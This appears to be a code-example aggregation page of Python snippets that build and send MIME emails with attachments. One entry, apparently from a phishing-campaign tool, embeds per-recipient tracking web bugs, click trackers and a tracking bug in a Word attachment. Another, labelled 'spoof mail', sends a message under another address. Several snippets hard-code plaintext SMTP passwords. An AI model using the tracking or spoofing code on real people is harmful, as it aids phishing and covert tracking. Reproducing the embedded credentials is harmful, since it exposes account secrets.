            msg = MIMEMultipart()
            msg['From'] = fromaddr
            msg['To'] = email
            msg['Date'] = formatdate(localtime=True)
            msg['Subject'] = subject

            text_msg = MIMEText(subject)
            msg.attach(text_msg)

            part = MIMEBase('application', "octet-stream")
            part.set_payload(open(tar_file, "rb").read())
            Encoders.encode_base64(part)
            part.add_header(
                'Content-Disposition',
                'attachment; filename="%s"' % os.path.basename(tar_file))
            msg.attach(part)

            for server in get_mx_records(email):
                try:
                    print 'Sending message to %s through %s' % (email, server)
                    smtp = smtplib.SMTP(server)
                    smtp.sendmail(fromaddr, toaddrs, msg.as_string())
                    break
                except (Exception, BaseException), e:
                    print e, '\nTrying next mx entry'
                finally:
                    smtp.close()

            print "Done."
Beispiel #35
0
from email.MIMEMultipart import MIMEMultipart
from email.MIMEText import MIMEText
from email.MIMEBase import MIMEBase
from email import encoders

fromaddr = "*****@*****.**"
toaddr = "*****@*****.**"


msg = MIMEMultipart()
msg['From'] = fromaddr
msg['To'] = toaddr
msg['Subject'] = "SUBJECT OF THE MAIL"
body = "YOUR MESSAGE HERE"
msg.attach(MIMEText(body, 'plain'))

filename = "test.pdf"
attachment = open("/Users/davidrockjedeikin/Desktop", "rb")
part = MIMEBase('application', 'octet-stream')
part.set_payload(attachment.read())
encoders.encode_base64(part)
part.add_header('Content-Disposition', "attachment; filename= %s" % filename)

msg.attach(part)

server = smtplib.SMTP('smtp.gmail.com', 587)
server.starttls()
server.login(fromaddr, "lapizamarillo")
text = msg.as_string()
server.sendmail(fromaddr,toaddr, text)
server.quit()
Beispiel #36
0
def render_email(from_email,
                 to,
                 subject,
                 text_template=None,
                 html_template=None,
                 cc=None,
                 attachments=None,
                 **context):
    """
    Read the templates for email messages, format them, construct
    the email from them and return the corresponding email message
    object.
    :param from_email: Email From
    :param to: Email IDs of direct recepients (list)
    :param subject: Email subject
    :param text_template: String of rendered template with context
        eg in flask: str(render_template(text_template, **context)
    :param html_template: String of transfomed rendered template with context
        eg in flask: str(transform(render_template(html_template, **context)))
        for transform https://premailer.io python library
    :param cc: Email IDs of Cc recepients (list)
    :param attachments: A dict of filename:string as key value pair
                        [preferable file buffer streams]
    :param context: Context to be sent to template rendering
    :return: Email multipart instance or Text/HTML part
    """
    if not (text_template or html_template):
        raise Exception("Atleast HTML or TEXT template is required")

    text_part = None
    if text_template:
        text_part = MIMEText(text_template.encode("utf-8"),
                             'plain',
                             _charset="UTF-8")

    html_part = None
    if html_template:
        html_part = MIMEText(html_template.encode("utf-8"),
                             'html',
                             _charset="UTF-8")

    if text_part and html_part:
        # Construct an alternative part since both the HTML and Text Parts
        # exist.
        message = MIMEMultipart('alternative')
        message.attach(text_part)
        message.attach(html_part)
    else:
        # only one part exists, so use that as the message body.
        message = text_part or html_part

    if attachments:
        # If an attachment exists, the MimeType should be mixed and the
        # message body should just be another part of it.
        message_with_attachments = MIMEMultipart('mixed')

        # Set the message body as the first part
        message_with_attachments.attach(message)

        # Now the message _with_attachments itself becomes the message
        message = message_with_attachments

        for filename, content in attachments.items():
            part = MIMEBase('application', "octet-stream")
            part.set_payload(content)
            Encoders.encode_base64(part)
            # XXX: Filename might have to be encoded with utf-8,
            # i.e., part's encoding or with email's encoding
            part.add_header('Content-Disposition',
                            'attachment; filename="%s"' % filename)
            message.attach(part)

    # If list of addresses are provided for to and cc, then convert it
    # into a string that is "," separated.
    if isinstance(to, (list, tuple)):
        to = ', '.join(to)
    if isinstance(cc, (list, tuple)):
        cc = ', '.join(cc)

    # We need to use Header objects here instead of just assigning the strings
    # in order to get our headers properly encoded (with QP).
    message['Subject'] = Header(subject, 'ISO-8859-1')

    # TODO handle case where domain contains non-ascii letters
    # https://docs.aws.amazon.com/ses/latest/APIReference/API_Destination.html
    message['From'] = from_email
    message['To'] = to
    if cc:
        message['Cc'] = cc

    return message
Beispiel #37
0
def send_email(address, name, start, end, service):
    import smtplib
    from email.MIMEMultipart import MIMEMultipart
    from email.MIMEBase import MIMEBase
    from email.MIMEText import MIMEText
    from email.Utils import COMMASPACE, formatdate
    from email import Encoders
    import os, datetime

    CRLF = "\r\n"
    login = "******"
    password = "******"
    attendees = [address]
    organizer = "ORGANIZER;CN=Deemaz:mailto:[email protected]"
    fro = "Deemaz <*****@*****.**>"
    deemaz = '*****@*****.**' if DEBUG else '*****@*****.**'

    ddtstart = start
    dur = end - start
    ddtstart = ddtstart
    dtend = ddtstart + dur
    dtstamp = str(datetime.datetime.now().strftime("%Y%m%dT%H%M%S+0300"))
    dtstart = str(ddtstart.strftime("%Y%m%dT%H%M%S+0300"))
    dtstartx = str(ddtstart.strftime("%Y-%m-%d %H:%M"))
    dtend = str(dtend.strftime("%Y%m%dT%H%M%S+0300"))

    description = u"DESCRIPTION: Deemaz" + service + CRLF
    description_deemaz = u"DESCRIPTION:" + name + u" " + service + CRLF
    attendee = ""
    for att in attendees:
        attendee += "ATTENDEE;UTYPE=INDIVIDUAL;ROLE=REQ-    PARTICIPANT;PARTSTAT=ACCEPTED;RSVP=TRUE" + CRLF + " ;CN=" + att + ";X-NUM-GUESTS=0:" + CRLF + " mailto:" + att + CRLF
    ical = "BEGIN:VCALENDAR" + CRLF + "PRODID:pyICSParser" + CRLF + "VERSION:2.0" + CRLF + "CALSCALE:GREGORIAN" + CRLF
    ical += "METHOD:REQUEST" + CRLF + "BEGIN:VEVENT" + CRLF + "DTSTART:" + dtstart + CRLF + "DTEND:" + dtend + CRLF + "DTSTAMP:" + dtstamp + CRLF + organizer + CRLF
    ical += "UID:UUUUU" + dtstamp + CRLF
    ical += attendee + "CREATED:" + dtstamp + CRLF + description + "LAST-MODIFIED:" + dtstamp + CRLF + "LOCATION:" + CRLF + "SEQUENCE:0" + CRLF + "STATUS:CONFIRMED" + CRLF
    ical += u"SUMMARY:Deemaz " + service + CRLF + "TRANSP:OPAQUE" + CRLF + "END:VEVENT" + CRLF + "END:VCALENDAR" + CRLF

    ical_deemaz = "BEGIN:VCALENDAR" + CRLF + "PRODID:pyICSParser" + CRLF + "VERSION:2.0" + CRLF + "CALSCALE:GREGORIAN" + CRLF
    ical_deemaz += "METHOD:REQUEST" + CRLF + "BEGIN:VEVENT" + CRLF + "DTSTART:" + dtstart + CRLF + "DTEND:" + dtend + CRLF + "DTSTAMP:" + dtstamp + CRLF + organizer + CRLF
    ical_deemaz += "UID:UUUUU" + dtstamp + CRLF
    ical_deemaz += attendee + "CREATED:" + dtstamp + CRLF + description_deemaz + "LAST-MODIFIED:" + dtstamp + CRLF + "LOCATION:" + CRLF + "SEQUENCE:0" + CRLF + "STATUS:CONFIRMED" + CRLF
    ical_deemaz += u"SUMMARY:" + name + u" " + service + CRLF + "TRANSP:OPAQUE" + CRLF + "END:VEVENT" + CRLF + "END:VCALENDAR" + CRLF

    eml_body = u"Приглашение на стрижку: " + name + ", " + dtstartx
    eml_body_deemaz = u"Информация о стрижке: " + name + u" " + service
    msg = MIMEMultipart('mixed')
    msg_deemaz = MIMEMultipart('mixed')
    msg['Reply-To'] = fro
    msg_deemaz['Reply-To'] = fro
    msg['Date'] = formatdate(localtime=True)
    msg_deemaz['Date'] = formatdate(localtime=True)
    msg['Subject'] = (service + u" " + dtstartx).encode('utf-8')
    msg_deemaz['Subject'] = (name + u" " + service).encode('utf-8')
    msg['From'] = fro
    msg_deemaz['From'] = fro
    msg['To'] = ",".join(attendees)
    msg_deemaz['To'] = ",".join([deemaz])

    part_email = MIMEText(eml_body.encode('utf-8'), "html", "utf-8")
    part_email_deemaz = MIMEText(eml_body_deemaz.encode('utf-8'), "html",
                                 "utf-8")
    part_cal = MIMEText(ical, 'calendar;method=REQUEST', "utf-8")
    part_cal_deemaz = MIMEText(ical_deemaz, 'calendar;method=REQUEST', "utf-8")

    msgAlternative = MIMEMultipart('alternative')
    msgAlternativeD = MIMEMultipart('alternative')
    msg.attach(msgAlternative)
    msg_deemaz.attach(msgAlternativeD)

    ical_atch = MIMEBase('application/ics', ' ;name="%s"' % ("invite.ics"))
    ical_atch_deemaz = MIMEBase('application/ics',
                                ' ;name="%s"' % ("invite.ics"))
    ical_atch.set_payload(ical.encode('utf-8'))
    ical_atch_deemaz.set_payload(ical.encode('utf-8'))
    Encoders.encode_base64(ical_atch)
    Encoders.encode_base64(ical_atch_deemaz)
    ical_atch.add_header('Content-Disposition',
                         'attachment; filename="%s"' % ("invite.ics"))
    ical_atch_deemaz.add_header('Content-Disposition',
                                'attachment; filename="%s"' % ("invite.ics"))

    eml_atch = MIMEBase('text/plain', '')
    Encoders.encode_base64(eml_atch)
    eml_atch.add_header('Content-Transfer-Encoding', "")

    msgAlternative.attach(part_email)
    msgAlternativeD.attach(part_email_deemaz)

    msgAlternative.attach(part_cal)
    msgAlternativeD.attach(part_cal_deemaz)

    mailServer = smtplib.SMTP('smtp.locum.ru', 25)
    mailServer.ehlo()
    mailServer.starttls()
    mailServer.ehlo()
    mailServer.login(login, password)
    mailServer.sendmail(fro, attendees, msg.as_string())
    mailServer.sendmail(fro, [deemaz], msg_deemaz.as_string())
    mailServer.close()
Beispiel #38
0
    def OnSend(self, event):
        ''' Send the email using the filled out textboxes.
            Warn the user if they forget to fill part
            of it out.
        '''

        From = self.fromTxt.GetValue()
        To = self.toTxt.GetValue()
        Subject = self.subjectTxt.GetValue()
        text = self.messageTxt.GetValue()

        colon = To.find(';')
        period = To.find(',')
        if colon != -1:
            temp = To.split(';')
            To = self.sendStrip(temp)  #';'.join(temp)
        elif period != -1:
            temp = To.split(',')
            To = self.sendStrip(temp)  #';'.join(temp)
        else:
            pass

        if To == '':
            print('add an address to the "To" field!')
            dlg = wx.MessageDialog(
                None,
                _('Please add an address to the "To" field and try again'),
                _('Error'), wx.OK | wx.ICON_EXCLAMATION)
            dlg.ShowModal()
            dlg.Destroy()
        elif Subject == '':
            dlg = wx.MessageDialog(None,
                                   _('Please add a "Subject" and try again'),
                                   _('Error'), wx.OK | wx.ICON_EXCLAMATION)
            dlg.ShowModal()
            dlg.Destroy()
        elif From == '':
            lg = wx.MessageDialog(
                None,
                _('Please add an address to the "From" field and try again'),
                _('Error'), wx.OK | wx.ICON_EXCLAMATION)
            dlg.ShowModal()
            dlg.Destroy()
        else:
            msg = MIMEMultipart()
            msg['From'] = From
            msg['To'] = To
            msg['Subject'] = Subject
            msg['Date'] = formatdate(localtime=True)
            msg.attach(MIMEText(text))

            if self.filepaths != []:
                print('attaching file(s)...')
                for path in self.filepaths:
                    part = MIMEBase('application', "octet-stream")
                    part.set_payload(open(path, "rb").read())
                    Encoders.encode_base64(part)
                    part.add_header(
                        'Content-Disposition',
                        'attachment; filename="%s"' % os.path.basename(path))
                    msg.attach(part)

            # edit this to match your mail server (i.e. mail.myserver.com)
            server = smtplib.SMTP('smtp.gmail.com:587')

            # open login dialog
            dlg = LoginDlg(server)

            res = dlg.ShowModal()
            if dlg.loggedIn:
                dlg.Destroy()  # destroy the dialog
                try:
                    failed = server.sendmail(From, To, msg.as_string())
                    server.quit()
                    self.Close()  # close the program
                except Exception as e:
                    print('Error - send failed!')
                    print(e)
                else:
                    if failed: print('Failed:', failed)
            else:
                dlg.Destroy()
Beispiel #39
0
def email_send_with_attachments(toaddr='*****@*****.**', image='', body_message='', date_receipt=''):
    """
    INPUT   : adress mail / array image / text message str
    OUTPUT  :
    """
    import smtplib
    from email.MIMEMultipart import MIMEMultipart
    from email.MIMEText import MIMEText
    from email.MIMEBase import MIMEBase
    from email import encoders
    import os
     
    fromaddr = "*****@*****.**"
    password = '******'
    
    # Create message container - the correct MIME type is multipart/alternative.
    msg = MIMEMultipart('mixed')
    msg['From'] = fromaddr
    msg['To'] = toaddr
    msg['Subject'] = "EATSY 0.4 - Ticket du " + str(date_receipt)
    
    #import html file
    cur_dir_here = os.path.split(os.path.realpath(__file__))[0]
    file = open(cur_dir_here + '/./eatsy_mail_model.html', "r")
    html_content = file.read()
    #adapt the content
    body_message = body_message.replace('\n','<br>')
    body_message_list = body_message.split('<<>>')
    body_message_date = body_message_list[0]
    body_message_category = body_message_list[1]
    #body_message_article = body_message_list[2]
    #body_message_pnns = body_message_list[3]
    body_message_recipe = body_message_list[2]
    html_content = html_content.replace('&lt;&lt;date&gt;&gt;',body_message_date)
    #html_content = html_content.replace('&lt;&lt;articles&gt;&gt;',body_message_article)
    #html_content = html_content.replace('&lt;&lt;pnns&gt;&gt;',body_message_pnns)
    html_content = html_content.replace('&lt;&lt;category&gt;&gt;',body_message_category)
    html_content = html_content.replace('&lt;&lt;recipe&gt;&gt;',body_message_recipe)


    # Create the body of the message (a plain-text and an HTML version).
    html = html_content


    # Record the MIME types of both parts - text/plain and text/html.
    part1 = MIMEText(html, 'html')

    image = Image.fromarray(image)
    cur_dir_here = os.path.split(os.path.realpath(__file__))[0]
    path_img_save = cur_dir_here + '/../../solution/attachment/attachment.jpg'
    image.save(path_img_save)
    filename = "attachment.jpg"
    attachment = open(path_img_save, "rb") 
    part2 = MIMEBase('application', 'octet-stream')
    part2.set_payload((attachment).read())
    encoders.encode_base64(part2)
    part2.add_header('Content-Disposition', "attachment; filename= %s" % filename)

    # Attach parts into message container.
    # According to RFC 2046, the last part of a multipart message, in this case
    # the HTML message, is best and preferred.
    msg.attach(part1)
    msg.attach(part2)
     
    # Send the message via local SMTP server.
    server = smtplib.SMTP('smtp.gmail.com', 587)
    server.starttls()
    server.login(fromaddr, password)
    server.sendmail(fromaddr, toaddr, msg.as_string())
    server.quit()
Beispiel #40
0
    def send(self, context=None):

        if context is None:
            context = {}

        if context.get("attachments") is None:
            context["attachments"] = {}

        def eval_member(key):
            expr = self.get(key)
            return eval(expr, context.copy()) if expr else None

        # MIME block
        mime_type = self.mime_type
        pos = mime_type.find("/")

        if pos != -1:
            mime_type = mime_type[pos + 1:]

        # Custom initialization code
        init_code = self.initialization_code
        if init_code:
            exec init_code in context

        # Subject and body (templates)
        if self.template_engine:
            template_engine = buffet.available_engines[self.template_engine]
            engine = template_engine(
                options={"mako.output_encoding": self.encoding})

            def render(field_name):
                markup = self.get(field_name)
                if markup:
                    template = engine.load_template(
                        "EmailTemplate." + field_name, self.get(field_name))
                    return engine.render(context, template=template)
                else:
                    return u""

            subject = render("subject").strip()
            body = render("body")
        else:
            subject = self.subject.encode(self.encoding)
            body = self.body.encode(self.encoding)

        message = MIMEText(body, _subtype=mime_type, _charset=self.encoding)

        # Attachments
        attachments = context.get("attachments")
        if attachments:
            attachments = dict((cid, attachment)
                               for cid, attachment in attachments.iteritems()
                               if attachment is not None)
            if attachments:
                message_text = message
                message = MIMEMultipart("related")
                message.attach(message_text)

                for cid, attachment in attachments.iteritems():

                    if isinstance(attachment, File):
                        file_path = attachment.file_path
                        file_name = attachment.file_name
                        mime_type = attachment.mime_type
                    else:
                        file_path = attachment
                        file_name = os.path.basename(file_path)
                        mime_type_guess = guess_type(file_path)
                        if mime_type_guess:
                            mime_type = mime_type_guess[0]
                        else:
                            mime_type = "application/octet-stream"

                    main_type, sub_type = mime_type.split('/', 1)
                    message_attachment = MIMEBase(main_type, sub_type)
                    message_attachment.set_payload(open(file_path).read())
                    Encoders.encode_base64(message_attachment)
                    message_attachment.add_header("Content-ID", "<%s>" % cid)
                    message_attachment.add_header(
                        'Content-Disposition',
                        'attachment; filename="%s"' % file_name)
                    message.attach(message_attachment)

        def format_email_address(address, encoding):
            name, address = parseaddr(address)
            name = Header(name, encoding).encode()
            address = address.encode('ascii')
            return formataddr((name, address))

        # Receivers (python expression)
        receivers = eval_member("receivers")
        if receivers:
            receivers = set(r.strip().encode(self.encoding) for r in receivers)

        if not receivers:
            return set()

        message["To"] = ", ".join([
            format_email_address(receiver, self.encoding)
            for receiver in receivers
        ])

        # Sender (python expression)
        sender = eval_member("sender")
        if sender:
            message['From'] = format_email_address(sender, self.encoding)

        # BCC (python expression)
        bcc = eval_member("bcc")
        if bcc:
            receivers.update(r.strip().encode(self.encoding) for r in bcc)

        if subject:
            message["Subject"] = Header(subject, self.encoding).encode()

        message["Date"] = formatdate()

        # Send the message
        smtp = Configuration.instance.connect_to_smtp()
        smtp.sendmail(sender, list(receivers), message.as_string())
        smtp.quit()

        return receivers
Beispiel #41
0
    def automatic(self):
        timevar = datetime.datetime.now()

        date = str(timevar.day) + "-" + str(timevar.month) + "-" + str(
            timevar.year)

        now = str(timevar.strftime("%H")) + ":" + str(
            timevar.strftime("%M")) + ":" + str(timevar.strftime("%S"))

        if timevar.hour % 2 == 0:
            global mail_count
            mail_count = mail_count + 1
            if mail_count == 1:
                fromaddr = "*****@*****.**"
                toaddr = "*****@*****.**"
                msg = MIMEMultipart()

                msg['Subject'] = "GREEN HOUSE UPDATE"
                body = " "
                msg.attach(MIMEText(body, 'plain'))

                filename = "pi_action_log.txt"
                attachment = open("/home/pi/Desktop/pi_action_log.txt", "rb")
                part = MIMEBase('application', 'octet-stream')
                part.set_payload((attachment).read())
                encoders.encode_base64(part)
                part.add_header('Content-Disposition',
                                "attachment; filename= %s" % filename)
                msg.attach(part)
                server = smtplib.SMTP('smtp.gmail.com', 587)
                server.starttls()
                server.login(fromaddr, "Vishwas123$")
                text = msg.as_string()
                server.sendmail(fromaddr, toaddr, text)
                server.quit()
                os.remove("/home/pi/Desktop/pi_action_log.txt")
                loc = "/home/pi/Desktop/"
                fname = "pi_action_log.txt"
                with open(fname, 'w+') as f:
                    readfile = f.read()
                    name = f.name
                    f.write("DATE    " + "	TIME    " + "	TEMP " + "	HUMID" +
                            "	MOIST" + "	LUM" + "	RAIN" + "	ACTION TAKEN\n")
                    f.close()

        else:
            global mail_count
            mail_count = 0

        loc = "/home/pi/Desktop"

        fname = "pi_action_log.txt"

        val = Sensor_val()
        value = val.read_val()
        timevar = datetime.datetime.now()
        print("auto mode started :) ")
        print(value)

        global temp_thresh_new
        #temp_thresh_new=27
        global humid_thresh_new
        #humid_thresh_new = 50
        global light_thresh_new
        #light_thresh_new = 500

        global fan
        global cover
        global valve
        global lights

        if ((value['Rain'] < 600) or (value['Temp'] > temp_thresh_new)
                or (value['Humid'] > humid_thresh_new)
                or (value['Soil'] < 500)):
            #GPIO.output(35, True) #cover
            global cover
            if cover == "closed":
                pass
            else:
                print("COVER CLOSED")
                GPIO.output(35, False)
                GPIO.output(36, True)
                time.sleep(10)
                GPIO.output(35, False)
                GPIO.output(36, False)
                global cover
                cover = "closed"
            #print("roof "+ roof+"  windows " +windows +"  fan "+fan)
            with open(floc, 'a+') as f:
                readfile = f.read()
                name = f.name
                f.write("{}	{}	{}	{}	{}	{}	{}	{} \n".format(
                    date, now, value['Temp'], value['Humid'], value['Soil'],
                    value['Lum'], value['Rain'], "Cover closed"))
                f.close()

        else:
            #			GPIO.output(35, False)
            global cover
            if cover == "opened":
                pass
            else:
                print("COVER OPENED")
                cover = "opened"
                GPIO.output(35, True)
                GPIO.output(36, False)
                time.sleep(10)
                GPIO.output(35, False)
                GPIO.output(36, False)
            #print("roof "+ roof+"  windows " +windows +"  fan "+fan)
            with open(floc, 'a+') as f:
                readfile = f.read()
                name = f.name
                f.write("{}	{}	{}	{}	{}	{}	{}	{} \n".format(
                    date, now, value['Temp'], value['Humid'], value['Soil'],
                    value['Lum'], value['Rain'], "Cover opened"))
                f.close()

        if (((value['Temp'] > temp_thresh_new)
             or (value['Humid'] >
                 humid_thresh_new))):  #and ((time.minute % 5) == 0)):
            GPIO.output(29, True)  #fan
            global fan
            fan = "on"
            print("cover " + cover + "  fan " + fan + "  threshhold" +
                  str(temp_thresh_new))
            with open(floc, 'a+') as f:
                readfile = f.read()
                name = f.name
                f.write("{}	{}	{}	{}	{}	{}	{}	{} \n".format(
                    date, now, value['Temp'], value['Humid'], value['Soil'],
                    value['Lum'], value['Rain'], "Fan ON"))
                f.close()
        else:
            GPIO.output(29, False)
            global fan
            fan = "off"
            #	print("roof "+ roof+"  windows " +windows +"  fan "+fan)
            with open(floc, 'a+') as f:
                readfile = f.read()
                name = f.name
                f.write("{}	{}	{}	{}	{}	{}	{}	{} \n".format(
                    date, now, value['Temp'], value['Humid'], value['Soil'],
                    value['Lum'], value['Rain'], "Fan OFF"))
                f.close()

        if ((value['Soil'] > 900)):
            GPIO.output(32, True)  #valve
            global valve
            valve = "on"
            with open(floc, 'a+') as f:
                readfile = f.read()
                name = f.name
                f.write("{}	{}	{}	{}	{}	{}	{}	{} \n".format(
                    date, now, value['Temp'], value['Humid'], value['Soil'],
                    value['Lum'], value['Rain'], "Valve ON"))
                f.close()
        else:
            GPIO.output(32, False)  #valve
            global valve
            valve = "off"
            with open(floc, 'a+') as f:
                readfile = f.read()
                name = f.name
                f.write("{}	{}	{}	{}	{}	{}	{}	{} \n".format(
                    date, now, value['Temp'], value['Humid'], value['Soil'],
                    value['Lum'], value['Rain'], "Valve OFF"))
                f.close()

        if value['Lum'] > light_thresh_new:
            GPIO.output(31, True)  #lights
            global lights
            lights = "on"
            #	print("lights " + lights)
            #time.sleep(3)
            with open(floc, 'a+') as f:
                readfile = f.read()
                name = f.name
                f.write("{}	{}	{}	{}	{}	{}	{}	{} \n".format(
                    date, now, value['Temp'], value['Humid'], value['Soil'],
                    value['Lum'], value['Rain'], "Lights ON"))
                f.close()
        else:
            GPIO.output(31, False)
            global lights
            lights = "off"
            #	print("lights " + lights)
            with open(floc, 'a+') as f:
                readfile = f.read()
                name = f.name
                f.write("{}	{}	{}	{}	{}	{}	{}	{} \n".format(
                    date, now, value['Temp'], value['Humid'], value['Soil'],
                    value['Lum'], value['Rain'], "Lights OFF"))
                f.close()

        val = Device_state()
        state = val.read_state()
        return
Beispiel #42
0
def sendMail(tool, to, subject, body, attachments=None):
    '''Sends a mail, via p_tool.mailHost, to p_to (a single email address or a
       list of email addresses).'''
    # Just log things if mail is disabled
    fromAddress = tool.mailFrom
    if not tool.mailEnabled or not tool.mailHost:
        if not tool.mailHost:
            msg = ' (no mailhost defined)'
        else:
            msg = ''
        tool.log('Mail disabled%s: should send mail from %s to %s.' % \
                 (msg, fromAddress, str(to)))
        tool.log('Subject: %s' % subject)
        tool.log('Body: %s' % body)
        if attachments:
            tool.log('%d attachment(s).' % len(attachments))
        return
    tool.log('Sending mail from %s to %s (subject: %s).' % \
             (fromAddress, str(to), subject))
    # Create the base MIME message
    body = MIMEText(body, 'plain', 'utf-8')
    if attachments:
        msg = MIMEMultipart()
        msg.attach(body)
    else:
        msg = body
    # Add the header values
    msg['Subject'] = Header(subject, 'utf-8')
    msg['From'] = fromAddress
    if isinstance(to, basestring):
        msg['To'] = to
    else:
        if len(to) == 1:
            msg['To'] = to[0]
        else:
            msg['To'] = fromAddress
            msg['Bcc'] = ', '.join(to)
            to = fromAddress
    # Add attachments
    if attachments:
        for fileName, fileContent in attachments:
            part = MIMEBase('application', 'octet-stream')
            if fileContent.__class__.__name__ == 'FileWrapper':
                fileContent = fileContent._zopeFile
            if hasattr(fileContent, 'data'):
                # It is a File instance coming from the database
                data = fileContent.data
                if isinstance(data, basestring):
                    payLoad = data
                else:
                    payLoad = ''
                    while data is not None:
                        payLoad += data.data
                        data = data.next
            else:
                payLoad = fileContent
            part.set_payload(payLoad)
            Encoders.encode_base64(part)
            part.add_header('Content-Disposition',
                            'attachment; filename="%s"' % fileName)
            msg.attach(part)
    # Send the email
    try:
        smtpInfo = tool.mailHost.split(':', 3)
        login = password = None
        if len(smtpInfo) == 2:
            # We simply have server and port
            server, port = smtpInfo
        else:
            # We also have login and password
            server, port, login, password = smtpInfo
        smtpServer = smtplib.SMTP(server, port=int(port))
        if login:
            smtpServer.login(login, password)
        res = smtpServer.sendmail(fromAddress, [to], msg.as_string())
        smtpServer.quit()
        if res:
            tool.log('Could not send mail to some recipients. %s' % str(res),
                     type='warning')
    except smtplib.SMTPException, e:
        tool.log('Mail sending failed: %s' % str(e), type='error')
Beispiel #43
0
def create_email(recipient_list, template_details):
    try:
        # SMTP Server Details
        smtp_details = template_details.smtpServer
        # Get Sender Address
        sender_string = '{0} <{1}>'.format(template_details.display_name,
                                           template_details.email_address)

        # Get Subject Line
        subject_line = template_details.subject_line

        # Get the Email Design
        email_template = template_details.email_design

        # get the portal URI
        portal_uri = template_details.portal_uri

        if template_details.document_enable:
            word_doc = True
            document_name = template_details.document_name
            document_design = template_details.document_design
        else:
            word_doc = False

        message_list = []

        for recipient in recipient_list:
            # format the unique Links
            '''
            First 8 Chars are the Recipient UID
            Char 9 = type - 0 = webbug, 1 = portal, 2 = document
            Char 10 = plugin detect 0 = disabled 1 = enabled
            Char 11 = Template ID
            '''
            webbug_link = '{0}{1}{2}{3}'.format(
                recipient.uid, '0', template_details.portal_plugins,
                template_details.id)
            portal_link = '{0}{1}{2}{3}'.format(
                recipient.uid, '1', template_details.portal_plugins,
                template_details.id)
            wordbug_link = '{0}{1}{2}{3}'.format(
                recipient.uid, '2', template_details.portal_plugins,
                template_details.id)

            # get a fresh template
            email_content = email_template

            # Add Name
            email_content = email_content.replace('[[name]]',
                                                  recipient.real_name)
            subject_line = subject_line.replace('[[name]]',
                                                recipient.real_name)

            # Add Email
            email_content = email_content.replace('[[email]]',
                                                  recipient.email_address)

            # Add Random Numbers

            # Random Number Generator
            length_fields = re.findall(r'\[\[number(.+?)\]\]', email_content)
            for length in length_fields:
                random_int = random_number(int(length))
                email_content = email_content.replace(
                    '[[number{0}]]'.format(length), random_int)
                subject_line = subject_line.replace(
                    '[[number{0}]]'.format(length), random_int)

            # Add Click Tracker
            click_link = '{0}/{1}/{2}'.format(portal_uri, 'p', portal_link)
            email_content = email_content.replace('[[click]]', click_link)

            # Add the web bugs
            if '[[webbug]]' in email_content:
                web_bug = '<img src="http://{0}/{1}/{2}" width=1 height=1 border=0>'.format(
                    portal_uri, 'p', webbug_link)
                email_content = email_content.replace('[[webbug]]', web_bug)

            msg = MIMEMultipart()
            msg['From'] = sender_string
            msg['To'] = recipient.email_address
            msg['Date'] = formatdate(localtime=True)
            msg['Subject'] = subject_line

            html = email_content
            part1 = MIMEText(html, 'html')

            msg.attach(part1)

            if word_doc:

                # insert the document bug
                word_bug = 'http://{0}/{1}/{2}'.format(portal_uri, 'p',
                                                       wordbug_link)
                doc_file = word_template.replace('[[word_bug]]', word_bug)

                # Insert the design
                doc_file = doc_file.replace('[[word_design]]', document_design)

                # Add to the email
                part_doc = MIMEBase('application', "octet-stream")
                part_doc.set_payload(doc_file)
                Encoders.encode_base64(part_doc)
                part_doc.add_header(
                    'Content-Disposition',
                    'attachment; filename="{0}"'.format(document_name))
                msg.attach(part_doc)

            # This will return the first generated email as a text string. This will bypass the sending
            #return msg.as_string()

            # append each recipient and message to list
            message_list.append([recipient.email_address, msg.as_string()])
            recipient.sent_date = timezone.now()
            recipient.save()
    except Exception as e:
        log_submit(log_type='email',
                   log_ip=False,
                   log_user=False,
                   log_entry='Error Creating Email - {0}'.format(e))

    # pass message_list to send function
    send_email(template_details.email_address, message_list, smtp_details)
Beispiel #44
0
# Record the MIME types of both parts - text/plain and text/html.
part1 = MIMEText(text, 'plain')
part2 = MIMEText(html, 'html')

# Attach parts into message container.
# According to RFC 2046, the last part of a multipart message, in this case
# the HTML message, is best and preferred.
msg.attach(part1)
# msg.attach(part2)

filename = "attachment.xlsx"
part = MIMEBase('application', "octet-stream")
part.set_payload(open('../' + filename, "rb").read())
Encoders.encode_base64(part)

part.add_header('Content-Disposition',
                'attachment; filename="' + filename + '"')

msg.attach(part)

# Send the message via local SMTP server.
s = smtplib.SMTP('smtp.exmail.qq.com')

email_user = "******"
email_pwd = "password"
s.login(email_user, email_pwd)
# sendmail function takes 3 arguments: sender's address, recipient's address
# and message to send - here it is sent as one string.
s.sendmail(me, you, msg.as_string())
s.quit()

print("send ok")
Beispiel #45
0
from email import Encoders

#content="ALEX"

#server and port
mail = smtplib.SMTP('smtp.gmail.com', 587)

#identify to the server ESMTP
mail.ehlo()

#start TLS mode = encrypt smtp for login
mail.starttls()
mail.login('distrobyte', 'distroByte268')

#attachment
msg = MIMEMultipart()
part = MIMEBase('application', "octet-stream")
#part.set_payload(open("text.txt", "rb").read())
part.set_payload("aaa")
Encoders.encode_base64(part)

part.add_header('Content-Disposition', 'attachment; filename="text.txt"')

msg.attach(part)

#spoof mail #content
mail.sendmail('*****@*****.**', '*****@*****.**',
              msg.as_string())

mail.close()
Beispiel #46
0
def send_email(sender, cc_recipients, bcc_recipients, subject, body, attachments=None):
    """Send an email.

    All arguments should be Unicode strings (plain ASCII works as well).

    Only the real name part of sender and recipient addresses may contain
    non-ASCII characters.

    The email will be properly MIME encoded and delivered though SMTP to
    172.17.0.1.  This is easy to change if you want something different.

    The charset of the email will be the first one out of US-ASCII, ISO-8859-1
    and UTF-8 that can represent all the characters occurring in the email.
    """
    
    # combined recipients
    recipients = cc_recipients + bcc_recipients

    # Header class is smart enough to try US-ASCII, then the charset we
    # provide, then fall back to UTF-8.
    header_charset = 'ISO-8859-1'

    # We must choose the body charset manually
    for body_charset in 'US-ASCII', 'ISO-8859-1', 'UTF-8':
        try:
            body.encode(body_charset)
        except UnicodeError:
            pass
        else:
            break

    # Split real name (which is optional) and email address parts
    sender_name, sender_addr = parseaddr(sender)
    parsed_cc_recipients = [parseaddr(rec) for rec in cc_recipients]
    parsed_bcc_recipients = [parseaddr(rec) for rec in bcc_recipients]
    #recipient_name, recipient_addr = parseaddr(recipient)

    # We must always pass Unicode strings to Header, otherwise it will
    # use RFC 2047 encoding even on plain ASCII strings.
    sender_name = str(Header(unicode(sender_name), header_charset))
    unicode_parsed_cc_recipients = []
    for recipient_name, recipient_addr in parsed_cc_recipients:
        recipient_name = str(Header(unicode(recipient_name), header_charset))
        # Make sure email addresses do not contain non-ASCII characters
        recipient_addr = recipient_addr.encode('ascii')
        unicode_parsed_cc_recipients.append((recipient_name, recipient_addr))
